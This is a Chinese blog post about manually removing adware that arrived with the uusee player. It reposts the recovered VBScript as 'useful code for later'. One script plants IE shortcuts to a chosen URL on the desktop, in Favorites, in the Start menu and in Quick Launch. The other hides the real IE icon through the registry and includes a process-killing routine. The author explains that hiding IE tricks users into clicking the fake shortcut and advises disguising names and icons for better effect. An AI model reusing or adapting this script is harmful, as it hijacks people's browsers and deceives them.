手动杀毒后的收获

  今天宝来在QQ上说中毒了,“桌面有快捷方式,重启又出现”。据说是装了uusee,uusee里面的插件的确很恶俗。重启又出现,不出意外加载到启动项里(也有以服务形式启动)了,果不其然有一个伪装的启动项指向了:c:\windows\system32\2.vbs 杀毒很简单,只有不让其开机加载就OK了,不多描述。得到了一段挺实用的Vbs代码,以备后用:
代码片段一、
Set WshShell = WScript.CreateObject("WScript.Shell")

strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”

Set oShellLink = WshShell.CreateShortcut(strDesktop & "\蛛蛛虎`s Blog.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活,参数3最大化激活,参数7最小化
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式

Set oShellLink = WshShell.CreateShortcut(Favorites & "\蛛蛛虎`s Blog.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活,参数3最大化激活,参数7最小化
oShellLink.Hotkey = "" : '快捷键
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式

Set oUrlLink = WshShell.CreateShortcut(Favorites & "\蛛蛛虎`s Blog.url")
oUrlLink.TargetPath = "http://www.spiger.cn"
oUrlLink.Save

Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("StartMenu")&

"\"&"Internet Explorer.lnk")  
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活,参数3最大化激活,参数7最小化
oShellLink1.Hotkey = "" : '快捷键
oShellLink1.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式

Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")&

"\Microsoft\Internet Explorer\Quick Launch"&"\蛛蛛虎`s Blog.lnk")  
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活,参数3最大化激活,参数7最小化
oShellLink1.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式

wscript.quit

分析:①上述代码第二段定义了两个变量:Desktop、Favorites分别指桌面和收藏夹。
   ②第三到七段分别在桌面、收藏夹、收藏夹(精简写法实现)、开始菜单、快速启动栏里添加名为蛛蛛虎`s Blog指向URL为http://www.spiger.cn的快捷方式。

代码片段二、

Set WshShell = WScript.CreateObject("WScript.Shell")

RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Hi
deDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}"
RegPath1="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Hi
deDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}"
Type_Name="REG_DWORD"
Key_Data=1
WshShell.RegWrite RegPath,Key_Data,Type_Name
WshShell.RegWrite RegPath1,Key_Data,Type_Name
Dim WSHShell, strDesktop
Set WSHShell = WScript.CreateObject("WScript.Shell")
strDesktop = WSHShell.SpecialFolders("Desktop")
WSHShell.AppActivate strDesktop
WSHShell.SendKeys "{F5}"

Sub ProcessKiller(ProcessName)
        On Error Resume Next
        Dim WMI,objProcess,Process
        Dim MsgStr
        Dim isKilled
        isKilled=False
        Set WMI=GetObject("WinMgmts:")
        Set Process=WMI.InstancesOf("Win32_Process")
        For Each objProcess In Process
                If InStr(ProcessName,".")>0 Then
                        If objProcess.name=ProcessName Then
                                objProcess.Terminate
                        End If
                Else
                        If InStr(objProcess.ExecutablePath,ProcessName)>0 Then
                                objProcess.Terminate
                        End If
                End If
                If Err Then Err.Clear
        Next
        Set Process=Nothing
        Set WMI=Nothing
End Sub

wscript.quit

分析:①上述代码第二段删除桌面IE,目的只有删除了桌面IE图标别人才会点开的快捷方式当作IE来用。补充下:代码一里面的快捷方式图标、名称我都是写的本Blog的,实际使用中伪装下效果更佳。
   ②第三段代码应该是保护作用吧,我没太看懂。
   ③第二段中的,HideDesktopIcons\ClassicStartMenu\,为了排版的美观,我在Hi后加了个回车,想实验此程序代码的请注意。关于XP系统桌面图标的问题可以参阅:http://www.spiger.cn/article/note/131.html

上一篇: 全自动扫描IP的批处理写法
下一篇: 最有“素质”的骂人短语
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags: vbs
相关日志:
评论: 0 | 引用: 0 | 查看次数: -
发表评论
昵 称:
密 码: 游客发言不需要密码.
邮 箱: 支持Gravatar头像.
网 址: 输入网址便于回访.
内 容:
验证码:
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.